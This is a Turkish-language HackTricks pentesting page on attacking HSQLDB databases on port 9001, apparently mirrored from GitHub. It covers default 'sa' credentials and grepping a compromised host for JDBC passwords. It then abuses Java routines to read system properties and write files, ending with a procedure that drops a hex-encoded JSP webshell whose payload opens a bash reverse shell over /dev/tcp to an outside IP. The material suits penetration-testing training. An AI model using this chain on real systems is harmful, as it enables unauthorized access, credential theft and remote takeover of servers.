mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
70 lines
3.4 KiB
Markdown
70 lines
3.4 KiB
Markdown
# 9001 - Pentesting HSQLDB
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Temel Bilgiler
|
||
|
||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**, Java ile yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Bellek içi ve disk tabanlı tablolarla küçük, hızlı çok iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
|
||
|
||
**Varsayılan port:** 9001
|
||
```text
|
||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||
```
|
||
## Varsayılan Ayarlar
|
||
|
||
Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve ayrıcalıkları artırmaya çalışıyorsunuzdur.
|
||
|
||
Varsayılan kimlik bilgileri genellikle `sa` ve boş bir şifre ile gelir.
|
||
|
||
Eğer başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini aramak için
|
||
```text
|
||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||
```
|
||
Not edin, veritabanı adını dikkatlice not alın - bağlanmak için buna ihtiyacınız olacak.
|
||
|
||
## Bilgi Toplama
|
||
|
||
DB örneğine bağlanmak için [HSQLDB'yi indirerek](https://sourceforge.net/projects/hsqldb/files/) `hsqldb/lib/hsqldb.jar` dosyasını çıkarın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` komutuyla çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
|
||
|
||
Bağlantı URL'sinin uzaktan bir sistem için şöyle görüneceğini unutmayın: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||
|
||
## Hileler
|
||
|
||
### Java Dil Rutinleri
|
||
|
||
HSQLDB'den Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın classpath'inde olması gerektiğini unutmayın.
|
||
|
||
JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Fonksiyonlar, Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürdüğünde SQL ifadeleri aracılığıyla çağrılabilir. `VALUES` ifadesi kullanılarak çağrılırlar.
|
||
|
||
Çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesi ile çağrılan bir prosedür kullanmamız gerekir.
|
||
|
||
### Java Sistem Özelliklerini Okuma
|
||
|
||
Fonksiyon oluştur:
|
||
```text
|
||
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||
DETERMINISTIC NO SQL
|
||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||
```
|
||
Fonksiyonu çalıştır:
|
||
```text
|
||
VALUES(getsystemproperty('user.name'))
|
||
```
|
||
Aşağıda bir [sistem özellikleri listesi bulabilirsiniz](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||
|
||
### Dosyaya İçerik Yazma
|
||
|
||
Hex kodlu öğeleri diske yazmak için uygulamanın sınıf yoluna otomatik olarak yüklenen JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget'ını özel bir prosedür aracılığıyla kullanabilirsiniz. **Maksimum boyutun 1024 bayt olduğunu unutmayın**.
|
||
|
||
Prosedürü oluşturun:
|
||
```text
|
||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
||
```
|
||
Prosedürü çalıştır:
|
||
```text
|
||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||
```
|
||
{{#include ../banners/hacktricks-training.md}}
|